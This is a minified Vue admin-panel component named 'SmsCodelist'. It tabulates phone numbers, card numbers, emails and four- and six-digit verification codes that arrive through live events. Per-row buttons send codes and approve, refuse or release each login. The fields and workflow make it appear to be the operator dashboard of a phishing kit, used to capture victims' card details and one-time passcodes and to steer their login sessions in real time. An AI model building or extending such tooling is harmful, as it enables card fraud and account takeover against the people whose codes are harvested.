import {
    d as e,
    r as a,
    g as s,
    J as l,
    o,
    c as t,
    k as r,
    i,
    a as n,
    I as d,
    B as c,
    l as m,
    C as p,
    H as u,
    E as b
} from "./index.115af62d1729265196717.js";
import {_ as h} from "./ContentWrap.vue_vue_type_script_setup_true_lang.6ff9ed7b1729265196717.js";
import {u as _, a as f, _ as g, b as v} from "./useCrudSchemas.2c3b314d1729265196717.js";
import {c as C} from "./index.eec34c841729265196717.js";
import {E as j} from "./el-button.c1876bd01729265196717.js";
import {E as x} from "./useForm.9355f9ab1729265196717.js";
import {b as k} from "./tree.67a6f3e21729265196717.js";
import "./el-divider.111259cd1729265196717.js";
import "./el-form-item.eb8d765c1729265196717.js";
import "./_plugin-vue_export-helper.1b428a4d1729265196717.js";
import "./mitt.f0e547641729265196717.js";

const w = e => C.get({url: "/backend/v1/smsCodes", params: e}), y = e({
    __name: "SmsCodelist", setup(e) {
        const {register: y, tableObject: S, methods: E} = _({getListApi: w, response: {list: "data"}}), {
            getList: F,
            setSearchParams: L,
            setExportFile: O
        } = E;
        a(), F(), k.on("loginWait", (() => {
            F()
        })), k.on("sendSmsCode", (() => {
            F()
        })), k.on("loginTemp", (e => {
            S.tableList.forEach(((a, s) => {
                e.data.mobile === a.mobile && e.data.card_no === a.card_no && e.data.mobile_area === a.mobile_area && (a.code_four = e.data.code_four, a.code_six = e.data.code_six)
            }))
        }));
        const P = e => {
            var a;
            (a = e.id, C.delete({url: "/backend/v1/login/smsCode/" + a})).then((e => {
                F()
            }))
        }, A = (e, a) => {
            var s;
            if ( "1" == a) {
                (s = {id: e.id}, C.put({url: "/backend/v1/smsCode", data: s})).then((e => {
                    0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
                })).catch((e => {
                    b.error(e.msg)
                }))
            }else if ("4" == a) {
                (e => C.put({url: "/backend/v1/login/pass", data: e}))({id: e.id}).then((e => {
                    0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
                })).catch((e => {
                    b.error(e.msg)
                }))
            }else if("5" == a) {
                (e => C.put({url: "/backend/v1/login/refuse", data: e}))({id: e.id}).then((e => {
                    0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
                })).catch((e => {
                    b.error(e.msg)
                }))
            }else if("6" == a) {
                (e => C.put({url: "/backend/v1/login/email/verify", data: e}))({id: e.id}).then((e => {
                    0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
                })).catch((e => {
                    b.error(e.msg)
                }))
            }else if("7" == a) {
                (e => C.put({url: "/backend/v1/login/email/pass", data: e}))({id: e.id}).then((e => {
                    0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
                })).catch((e => {
                    b.error(e.msg)
                }))
            }else if("8" == a) {
                (e => C.put({url: "/backend/v1/login/email/refuse", data: e}))({id: e.id}).then((e => {
                    0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
                })).catch((e => {
                    b.error(e.msg)
                }))
            }else{
                (e => C.put({url: "/backend/v1/login/through", data: e}))({id: e.id}).then((e => {
                    0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
                })).catch((e => {
                    b.error(e.msg)
                }))
            }

            /*
            "1" == a ? (s = {id: e.id}, C.put({url: "/backend/v1/smsCode", data: s})).then((e => {
                0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
            })).catch((e => {
                b.error(e.msg)
            })) : "4" == a ? (e => C.put({url: "/backend/v1/login/pass", data: e}))({id: e.id}).then((e => {
                0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
            })).catch((e => {
                b.error(e.msg)
            })) : "5" == a ? (e => C.put({url: "/backend/v1/login/refuse", data: e}))({id: e.id}).then((e => {
                0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
            })).catch((e => {
                b.error(e.msg)
            })) : (e => C.put({url: "/backend/v1/login/through", data: e}))({id: e.id}).then((e => {
                0 == e.code ? (b.success(e.msg), F()) : b.error(e.msg)
            })).catch((e => {
                b.error(e.msg)
            }))
             */
        }, R = () => {
            E.setAppendParams({channel_id: "", name: ""}), S.currentPage = 1
        }, I = s([
            {field: "index", label: "序号", type: "index"},
            {field: "id", label: "id", search: {show: !1}},
            {field: "mobile_area", label: "区号", search: {show: !0}},
            {field: "mobile", label: "号码", search: {show: !0}},
            {field: "card_no", label: "卡号", search: {show: !0}},
            {field: "code_four", label: "四位验证码", search: {show: !0}},
            {field: "code_six", label: "六位验证码", search: {show: !0}},
            {field: "code", label: "登录验证码", search: {show: !0}},
            {field: "email", label: "邮箱", search: {show: !0}},
            {
            field: "is_send",
            label: "发送状态",
            width: 100,
            formatter: (e, a, s) => l(x, {type: 1 === s || 3 === s ? "error" : "success"}, (() => 1 === s ? "待发送验证码" : 2 === s ? "已发送验证码" : 3 === s ? "待审核登录" : 4 === s ? "审核通过" : 0 === s ? "已提交卡号" : "审核拒绝")),
            search: {
                show: !0,
                component: "Select",
                componentProps: {
                    options: [
                        {label: "待发送验证码", value: 1},
                        {label: "已发送验证码", value: 2},
                        {label: "待审核登录", value: 3},
                        {label: "审核通过", value: 4},
                        {label: "审核拒绝", value: 5},
                        {label: "审核邮箱", value: 7},
                        {label: "审核邮箱通过", value: 8},
                        {label: "审核邮箱拒绝", value: 9},
                        {label: "已提交卡号", value: 0},
                    ]
                }
            }
        }, {field: "created_at", label: "创建时间", search: {show: !1}}, {
            field: "operate",
            isCustom: !1,
            width: "800px",
            label: "操作",
            style: { whiteSpace: 'normal', wordBreak: 'break-word' }
        }]), {allSchemas: W} = f(I);
        return (e, a) => (o(), t(u, null, [r(n(h), null, {
            default: i((() => [r(n(g), {
                schema: n(W).searchSchema,
                showExportFile: !1,
                showCreated: !1,
                onSearch: n(L),
                onReset: R,
                onExportFile: n(O)
            }, null, 8, ["schema", "onSearch", "onExportFile"])])), _: 1
        }), r(n(h), null, {
            default: i((() => [r(n(v), {
                tableObject: n(S),
                "onUpdate:tableObject": a[0] || (a[0] = e => d(S) ? S.value = e : null),
                columns: n(W).tableColumns,
                data: n(S).tableList,
                selection: !1,
                align: "center",
                reserveIndex: !0,
                border: "",
                headerAlign: "center",
                pagination: {total: n(S).total},
                onRegister: n(y)
            }, {
                operate: i((({row: e}) => [c(r(n(j), {
                    type: "primary",
                    plain: "",
                    onClick: a => A(e, "1")
                }, {
                    default: i((() => [m("发送验证码")])),
                    _: 2
                }, 1032, ["onClick"]), [[p, 1 == e.is_send]]), c(r(n(j), {
                    type: "primary",
                    plain: "",
                    onClick: a => A(e, "4")
                }, {
                    default: i((() => [m("审核通过")])),
                    _: 2
                }, 1032, ["onClick"]), [[p, 3 == e.is_send]]), c(r(n(j), {
                    type: "primary",
                    plain: "",
                    onClick: a => A(e, "5")
                }, {
                    default: i((() => [m("审核拒绝")])),
                    _: 2
                }, 1032, ["onClick"]), [[p, 3 == e.is_send]]), c(r(n(j), {
                    type: "primary",
                    plain: "",
                    onClick: a => A(e, "6")
                }, {
                    default: i((() => [m("审核邮箱")])),
                    _: 2
                }, 1032, ["onClick"]), [[p, 3 == e.is_send]]), c(r(n(j), {
                    type: "primary",
                    plain: "",
                    onClick: a => A(e, "7")
                },{
                    default: i((() => [m("审核邮箱通过")])),
                    _: 2
                }, 1032, ["onClick"]), [[p, 7 == e.is_send]]), c(r(n(j), {
                    type: "primary",
                    plain: "",
                    onClick: a => A(e, "8")
                },{
                    default: i((() => [m("审核邮箱拒绝")])),
                    _: 2
                }, 1032, ["onClick"]), [[p, 7 == e.is_send]]), c(r(n(j), {
                    type: "primary",
                    plain: "",
                    onClick: a => A(e, "9")
                },{
                    default: i((() => [m("审核放行")])),
                    _: 2
                }, 1032, ["onClick"]), [[p, 3 == e.is_send]]), r(n(j), {
                    type: "primary",
                    plain: "",
                    onClick: a => P(e)
                }, {default: i((() => [m("删除")])), _: 2}, 1032, ["onClick"])])), _: 1
            }, 8, ["tableObject", "columns", "data", "pagination", "onRegister"])])), _: 1
        })], 64))
    }
});
export {y as default};
